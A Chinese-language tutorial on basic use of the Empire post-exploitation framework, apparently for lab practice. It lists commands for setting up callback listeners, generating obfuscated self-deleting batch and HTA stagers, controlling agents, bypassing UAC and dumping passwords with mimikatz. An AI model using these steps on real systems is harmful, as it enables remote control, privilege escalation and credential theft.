empire的基礎操作

目錄

1. 建立監聽器

2. 設定stagers

3. 使用者互動

4. 提權

1. 建立監聽器

help    檢視幫助命令

listeners     檢視監聽器

uselistener  xxx     使用監聽器模組

常用的監聽模組：http

按兩次tab鍵檢視能使用的監聽器模組

info    檢視引數資訊

設定引數

set Name xxx

set Host http://xxx

set Port xxx

執行：execute

main 返回主選單

這邊顯示目前有一個活躍的監聽器

2. 設定stagers

usestagers xxx   使用stager模組

常用的模組：windows/hta、windows/launcher_bat

按兩次tab鍵檢視能使用的stager模組

info  檢視要設定的引數

set Listener xx     設定監聽器

set OutFile /var/www/html/launcher.bat 設定檔案生成路勁

delete   木馬執行完是否自動刪除

Obfuscate（混淆）

execute 執行

在靶機上雙擊bat檔案成功反彈會話

3. 使用者互動

agents 切換到使用者列表

list 列出使用者

rename 修改使用者ID的名字

interact 進入到使用者互動介面

sysinfo     檢視系統資訊

sc  截圖

searchmodule 搜尋模組

shell + command 執行命令

spawn 遷移到新的使用者需要指定監聽器的名字

產生了一個新的會話

使用者清除:

kill agents | all

監聽器清除：

kill listener | all

4. 提權

bypassuac  <listener>      bypassuac繞過uac提權

可以看到產生了一個帶*的會話，提權成功使用者名稱前面會多一個*號

mimikatz      在擁有許可權後可以利用mimikatz獲取使用者賬號密碼

creds         以列表的形式顯示mimikatz獲取的賬號密碼

uac提權（需要手動確認）

searchmodule ask 搜尋ask模組

usemodule privesc/ask       使用privesc/ask模組

info    檢視所需引數

設定監聽器

run   執行

靶機彈出uac認證框

列表中產生新的管理員會話

相關推薦